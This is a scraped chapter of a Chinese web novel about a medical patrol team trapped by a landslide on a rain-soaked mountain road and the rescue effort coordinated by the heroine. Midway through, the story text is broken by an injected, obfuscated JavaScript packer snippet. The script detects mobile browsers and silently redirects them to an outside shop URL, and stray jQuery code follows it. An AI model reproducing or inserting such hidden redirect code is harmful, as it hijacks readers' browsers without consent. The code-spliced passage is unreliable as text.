文趣网 > 其他小说 > 青措下了彩虹雨 > 63. 第六十三章
    -

    看到姐姐江央终于睁开了眼睛,阿爸搂着弟弟在一旁喜极而泣。

    将孩子唤醒成功的赵雯,在后排车门那里松了口气,后头撑伞的阿达也咧开嘴。

    刚醒过来的江央还很晕,她茫然地转了转眼球,看见手边的弟弟哭得糊了满脸的鼻涕。

    整个脑袋围满白色绷带的多杰在驾驶位打了个响指“江央!”

    头部裹了几圈绷带的何文寓亲切地说“怎么样江央,脑袋是不是还很晕,身上有没有痛的地方了?”

    “……刚才是撞车了吗?”江央一时还没认出眼前这两个叔叔是谁。

    多杰扶着骨折的小腿,呲牙咧嘴扭头“你这个小朋友,倒是很聪明的嘛!”

    坦克这边轰得笑起来,江央迟钝地接过右边医生姐姐递来的水,小口喝了下去。

    车外已经转成中雨,阿达又从赵雯后边递回来一袋面包“先吃这个!”

    除了迟迟未醒的江央以外,所有人都在车祸后的两小时内接受了被困的事实,谁的手机都没法拨出去。

    眼下也只能先填饱肚子,保存体力。

    “我刚刚沿着路走回后头,发现就不到百来米,也塌了。”阿达在雨里挥着手嚷嚷。

    “老实呆着吧,谁让这路还是条单行道,要么跳河,要么长出翅膀飞,不然谁都走不了。”多杰敲着单机消除游戏,比谁都乐天派,尽管他是伤势最重的那个。

    何文寓刚才跟阿达去检查的前后路况,心都凉了一大半。

    这鸟路过都不多停的地方,也就他们这种下乡巡诊的会走这段路。

    其他游客要么走高速,要么因为下雨不选择这种国道。

    他在副驾驶位上再次等到了重新开机的界面,但信号那里依旧是灰色的四格。

    “你没信号怎么玩的游戏。”何文寓有些纳闷地问一旁的多杰。

    “这游戏又不需要联网。”多杰用完最后一步,还是没能通关,愤愤地拍了把大腿,痛得嗷嗷叫。

    何文寓无奈地看着,扭头又转回去看窗外的雨,跟早上相比,瓢泼的景色没任何差别,持续不断的雨下得人心烦意乱。

    后排的姐弟俩已经恢复活力,叽叽喳喳地聊天玩闹。

    何文寓困顿地打哈欠,耷拉下眼皮。

    鼻间的输氧管戴得难受,将其一摘后,他把头靠到座椅枕上准备睡会。

    ……

    这一觉睡得舒服,要不是梦里的祝西意突然一改温情,抬手给自己来了一巴掌,何文寓还真不会醒来。

    “握草何医生!你终于醒了啊!”达娃激动地吼。

    何文寓迷茫地看着晃眼的黄色车顶灯,感觉脸上火辣辣的。

    他不明所以地问“……我不就睡个觉吗。”

    “再给他吸一口!”阿达在车外大喊。

    何文寓扭头看向大开的车门,发现天色已经变暗。

    自己睡了这么久吗?

    明明梦里刚给祝西意做了晚饭,跟她在家里吃得好好的。

    何文寓怔愣的脸上被盖下来氧气口,呲呲喷来的氧气一下涌入,脑子里的混沌被驱散。

    他挣扎中被外边的阿达拍了一巴掌在肩膀上,吃痛后的何文寓脑袋彻底清醒,终于听清阿达骂的什么“你这臭小子,分不清睡觉跟缺氧昏迷吗?!”

    “啊?”

    “啊什么!要不是江央发现你还在睡,你就真缺氧没了知不知道!”多杰也在驾驶位吼着。

    他下午玩游戏也累了,困在这里也是没处去,刚想在驾驶位睡会。

    江央分来面包时多问了一句何文寓,多杰这才去察看,发现人一动就倒,眼睛紧闭,唇色深得很。

    他让江央去后车叫人,达娃跑过来后,一直又拍又打的灌氧气才将何文寓救回来。

    “……不好意思。”

    何文寓总算知道醒来那一刻,脸变得更痛的原因了,他还以为是头上的伤口已经严重到,能肿了脸颊的位置。

    “拿好了何医生。”达娃没好声地把氧气罐塞给他,何文寓一直背的氧气包早就没了气。

    考虑到今天能顺利返程,昨天大家根本没给各自的氧气包充氧气。

    所幸车上有备用的几瓶氧气罐,不然大家真的要对着何文寓的昏迷急死在原地。

    “现在几点了。”何文寓看着外头的雨,虽然转小了些,但怎么能下得这么久。

    “晚上七点。”多杰看了看手机的电量,叹了口气。

    “有没有多余的雨衣,我下去透会气。”何文寓扭头让江央帮忙找找,接过来后掰开车门。

    “不是吧你,下着雨有什么气能透的?!”多杰诧异地看着这个外地同事,不会是缺氧时间长了,脑子有点不清醒。

    “欸!氧气瓶拿上!”多杰递给他。

    何文寓在车外接过,还多拿了一把江央好心借的伞。

    他走到路旁的防护带上,霸道那辆车的车灯一直开着。

    鸣笛对着他来了一下,阿达在副驾驶位探出头“何医生,在外头干什么,赶紧回车上!”

    “我坐太久了,下来站会!”何文寓在雨里吼回去。

    他沿着防护带往回走,路过霸道后排的车窗时,里头的阿佳降下车窗,看到他带好了氧气罐后再次提醒“何医生,别走太远了,后头也不安全!”

    何文寓在雨衣帽兜里点头,略显滑稽地举着把绚丽的儿童雨伞,伞面迷你得挡着点脑袋跟肩膀地走了。

    霸道车内的四人异口同声“唉——”

    手机最后十格电量,开了省电模式也撑不了太久。

    何文寓盯着屏幕上的无信号,扭头看了眼离远了些的车尾。

    对死掉的恐惧才后知后觉地爬上心头,麻痹大意的自己差点就得潦草地交代在这。

    何文寓懊恼地停下来,转身面向腾势猛烈的河流,胸口急促呼吸。

    意识到氧气的不足,他赶紧把氧气罩扣上鼻梁,噗呲摁了两三下。

    特地跑出来,想到祝西意跟爸妈就自动流的眼泪根本停不下来。何文寓蹲下去,无助地垂头在伞下。

    祝西意肯定知道巡诊团队的失联,而自己又没法发出消息给她报平安。

    比起自己内心对受困的恐惧,何文寓更担心祝西意一个人在担惊受怕。

    他真的错了,非要证明什么独立。这次如果能剩半条命回去,还不知道会让祝西意多生气,一开始就老老实实呆在她身边多好。

    起码这个时候,两个人应该是在一顿普通的晚餐里度过夜晚。

    天空嗡嗡地响,声音由高到低,何文寓感觉风的流动变了,手上的伞面开始鼓动。

    高处的探照灯在越来越黑的夜色里突兀射下,带来点外界的动静。

    “无人机!”阿达激动地拍着车窗沿,也不管外头的雨水砸到脸上了,他一开车门就跳下去挥手。

    “这里!这里!”

    何文寓闻声终于站起来,远远将那高空上闪烁红光的机子看得清晰。

    上一秒的心酸泪一下化为乌有,即将获救的喜悦让他马上跑过去。

    后排的阿佳跟达娃也下了车,江央在车窗里扬起笑脸。

    阿达刚喊完,扭头一看远远跑回来的大高个“何医生,快回来,有救了!”

    即将能回县里见到祝西意的兴奋,让何文寓跑得忘了看脚下。山上冲下来的黑泥巴窝着小石头在路面上随机分布,他一个不留神踩上一坨。

    喉咙里的哈哈哈还没喊出来,就铲倒了自己“嘶——”

    远处手舞足蹈的阿达看到后瞬间停了笑容,哎哟地喊“你这个蠢小子,脑袋缺氧缺傻了吧!!”

    阿达跟达娃一前一后跑过来,左右将何文寓从地上抬起。

    短短一条路上,因为何文寓的闹笑话,大家在雨里总算笑得轻松不少。

    无人机降低了点距离,大概停了五分钟,核对过人数跟现场路面和车辆情况后,重新飞离。

    ……

    “不过你们放心,这两辆车所在位置比较靠后,滑坡没前边这么严重,除了车头受损,没出现侧翻的情况,路面清理过后还是能直接把人救出来的,伤者应该是驾驶位那个,还能动,至于其他人,没什么大碍。”救援队副队长把话补全。

    “你讲话怎么大喘气的!”杨书记抖着手,颤颤巍巍走过来。

    祝西意听到这里,唇角才轻抖着笑起“好的,辛苦你们了。”

    心脏跳得有些发疼,她捂着胸口坐回凳子上,还有点后怕。

    现在只需要等待救援的深入,他们都没事。

    身体的肾上腺素如潮水般退下,祝西意开始感受到衣服被淋过的温度,四肢发软发冷。她咬紧干涩的下唇保持清醒,视线却止不住昏花。

    “欸那个,卫生委的负责人是吧,你过来!”

    耳边的声音变得像金属音般刺耳,祝西意勉强站起,摇晃了下才走过去。

    “你们的救援队待会两两分组,跟我们的救援人员分批去转移伤者……”

    祝西意看着这个副队长手里不断晃动的对讲里,头晕里更烦了。

    “让医院的急诊通道现在就准备好,救护车……”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17873486|208689||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    她强忍身体的不适听完指令,点头开始配合工作。

    留在帐篷里的还有六个医疗队员,那两个乡卫生院的医护也在。

    这些人平时都跟祝西意没什么联系,面面相觑着等待指示。

    杨书记躺在简陋的行军床上,知道那些医生暂且安全后,嗬着大粗气不想动了。

    祝西意看了一圈,只有那两个乡里的医护跟自己对上目光,客气地微笑。

    “我们可不去,本来我们分配的就是他们那几个进现场,我们留在这等病人出来。”

    “那些救援人员不能自己把那些人带出来吗,听说路面都塌了我们怎么进去?”

    交头接耳的议论声下,没人管前边站着的祝西意。

    “乡里的两位留在帐篷里接应,其他人按一二往下数进行两两分组,马上穿好防护帽跟雨衣,我带你们过去找救援队进现场。”

    “嘁……”

    祝西意脚下一顿,又走回来“王主任还有一小时左右到现场,不想被骂就赶紧走吧。”

    此话一出,是人是鬼都抓起装备散开了。

    祝西意清楚这些人不过是碍于李静在医院里的影响力,并不想过多跟他们争执什么配不配合之类的话。

    话的目的说得很简单,系统里谁都怕王中秋,胜过李静那点幺蛾子。

    “……”祝西意看到迅速整好队的这些人,笑嘻嘻的。

    她走在前边没忍住闭着眼,往上滚了下眼球。

    ……

    一小时后,王中秋跟其他县级领导所乘坐的中巴车抵达。

    祝西意站在帐篷里,等她跟李县交代完后,提前走了几步出去迎接。

    “主任。”

    王中秋换了身跑现场更便捷冲锋衣外套,她走到帐篷下的鞋底,已经裹了层污泥。

    “这里怎么样了?”

    “我们医疗队已经跟着消防他们进去了,陆续救出了四名重伤的游客,救护车已经在转运回县的路上,轻伤的在帐篷那边先做处理。”祝西意收伞,看到经过的三四名县级面孔。

    他们面色凝重地走过,脸上都不好看,一边的副队长带着帽盔,正大声汇报起现场的情况。

    王中秋突然指着地上吼起来“杨平!!”

    “我让你过来在这玩手机?!”

    杨书记这才看到王中秋来了,坐在行军床上的身体往后一翘才站了起来“不是啊,王主任!我绝对没有,我只是在尝试给那些医生打电话,只是这通信真的难恢复啊!”

    杨平惶恐地摆手,一再保证自己没偷懒,还用刚才急火攻心的表现力证自己的工作努力。

    那两个在后方给游客处置伤口的医护,笑笑没说话。

    这帐篷里除了两个医护,就只有祝西意在忙前忙后了,明明所有现场对接的工作都是她在跑。

    祝西意听得尴尬,她低头看别处去了。

    王中秋打算守在这里,至少这些领导短时间内不会离开。

    “咱们那几个医生现在还没出来吗?”她转身问祝西意。

    “主任,还没有,说是他们的位置靠后,救援得按顺序来。”

    王中秋看见祝西意说话时的嘴唇发白,她才想起来祝西意什么时间来的。

    “待会你先跟车回去。”

    杨平马上反应过来“是用我们医院的车送小祝走吗?那……”

    “你留在这!!”

    王中秋高声一喊,杨平又躲坐回他那行军床上。

    “主任,救援还没结束,我继续跟您在这等。”祝西意身体的不适已经缓过来了,刚才补过葡萄糖才没这么难受。

    “你待的时间太长了,身上还带着旧伤,赶紧走。”

    王中秋看了两眼祝西意在夜里的单薄,又转回身去。

    “他们已经没什么大碍,我会在这盯着,你走吧。”

    王中秋嘴里指的是巡诊那些人,这次的方案是祝西意写的,她明白这个小姑娘是抱着愧疚跟担责的心态要留下。

    就一个补贴少得可怜的志愿者,没必要让祝西意跟她们这些正式干部一样卖命,担责就更不用了。

    今天中午事发突然,整个卫生委的副主任要么在休假,要么就是在市里培训,王中秋只能先让祝西意代替自己下现场守着。

    “谢谢主任。”

    祝西意一步三回头地上车,她被王中秋以恰当的理由撵走,免去待会被那些人现场问责的骂声。

    她看着车窗外的雨渐停,胸中的郁气更重。

    也许回去睡一觉,何文寓就平平安安回到县里了。